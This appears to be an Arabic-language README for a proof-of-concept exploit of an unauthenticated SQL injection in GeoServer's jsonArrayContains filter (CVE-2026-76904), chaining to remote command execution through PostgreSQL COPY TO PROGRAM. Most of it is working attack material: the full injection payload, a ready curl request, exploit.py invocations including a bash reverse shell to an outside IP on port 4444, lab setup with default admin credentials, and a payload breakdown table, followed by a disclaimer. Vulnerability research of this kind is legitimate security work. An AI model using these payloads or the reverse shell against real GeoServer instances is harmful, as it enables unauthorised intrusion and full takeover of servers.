
POC | حقن SQL غير مصادق عليه في GeoServer يؤدي إلى RCE كامل
CVE: CVE-2026-76904 | CVSS: 9.8 (حرجة)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
تم تعيين GHSA-mqjf-5f49-2fjh لهذه الثغرة من قِبل فريق GeoServer/GeoTools، ويتم استغلالها بنشاط في البيئات الحقيقية اعتبارًا من أغسطس 2026.
تم تصحيح الثغرة، ولكن نظرًا لأنها حديثة جدًا (1786870173) فلا تزال تُستغل بشكل كبير حول الويب.
21 أغسطس 2026 - تم استلام معرف CVE: CVE-2026-76904
حقن SQL غير مصادق عليه في دالة jsonArrayContains في GeoServer
-> تنفيذ أوامر عن بُعد عبر PostgreSQL COPY TO PROGRAM.
دالة jsonArrayContains في GeoServer (وتحديدًا في GeoTools)، المستخدمة للاستعلام عن مصفوفات JSON في PostgreSQL، تحتوي على ثغرة حرجة في حقن SQL. المعامل الثالث (expected) يتم ربطه مباشرةً في استعلام SQL دون أي تعقيم أو تهريب أو ربط معاملات.
تحديدًا ما يلي:
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
تأتي الثغرة من طريقة FilterToSqlHelper.constructEquality في GeoTools.
المعامل الثالث (expected) لدالة jsonArrayContains يُكتب مباشرة في سلسلة SQL باستخدام String.formatted() دون أي تهريب.
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
هذا الخلل ليس خطأً جديدًا، بل هو ارتداد للثغرة CVE-2023-25158 (ثغرة حقن SQL مطابقة بتصنيف CVSS 9.8).
تم إدخال الثغرة الجديدة عندما أضاف GEOT-7589 دعم jsonb_path_exists لـ PostgreSQL 12+.
التصحيح الصادر في 2023 لم يحمِ دالة jsonArrayContains، التي أُضيفت/عُدّلت بعد ذلك الإصلاح.
https://github.com/user-attachments/assets/d0913a18-249f-4364-bfe5-959af1660a1d
في الأساس ما يلي:
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
تفصيل الحمولة:
curl يدوي
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
نمط إغلاق WFS 2.0 مقتبس من بحث mhtsec
لا أحد يريد تشغيل curl، أليس كذلك؟ إليك طريقة استخدام exploit.py
إثبات مفهوم إنشاء ملف
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
إثبات مفهوم تنفيذ الأوامر عن بُعد
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
تم توفير ملف docker-compose.yml لتسهيل البدء السريع مع إثبات المفهوم.
بعد التهيئة باستخدام
Docker compose up -d
يمكننا إعداد البيئة باستخدام REST API المتاح لنا
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
نشر الطبقة
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
يحتوي هذا المستودع على إثبات مفهوم مستقل لاستغلال ثغرة حقن SQL إلى تنفيذ أوامر عن بُعد (يوم الصفر) في GeoServer jsonArrayContains.
تم اكتشاف هذه الثغرة والإفصاح عنها في الأصل بواسطة 秋风 (@q1uf3ng). تمت إعادة إنشاء سلسلة الاستغلال والتحقق منها في بيئة مخبرية محكومة.
هذا المشروع مخصص حصريًا لأبحاث الأمن المصرح بها، والتعليم، والاختبار في بيئات مخبرية معزولة.
لا تستخدم هذا البرنامج ضد أنظمة أو شبكات أو بيانات دون تفويض صريح من المالك. أنت وحدك المسؤول عن الامتثال لجميع القوانين المعمول بها وعن أي عواقب تنجم عن استخدامك لهذا المشروع.
يقدم المؤلف، YonLiud، هذا المشروع "كما هو"، دون أي ضمانات من أي نوع، ولا يتحمل أي مسؤولية عن الأضرار أو فقدان البيانات أو انقطاع الخدمة أو الوصول غير المصرح به أو أي إساءة استخدام أخرى سببها هذا البرنامج أو الأعمال المشتقة منه.
باستخدامك لهذا المشروع، فإنك تقر وتقبل هذه الشروط.
| المكوّن | الغرض |
|---|
jsonArrayContains(data,'/x','y")\'') | استدعاء الدالة بمعامل ثالث مُصنَّع |
OR 1=1)) | إغلاق مسار JSON واستدعاء الدالة |
AS gt_injected; | تسمية الجدول المشتق |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | أمر تنفيذ الأوامر عن بُعد في PostgreSQL |
--')=true | التعليق على باقي استعلام SQL |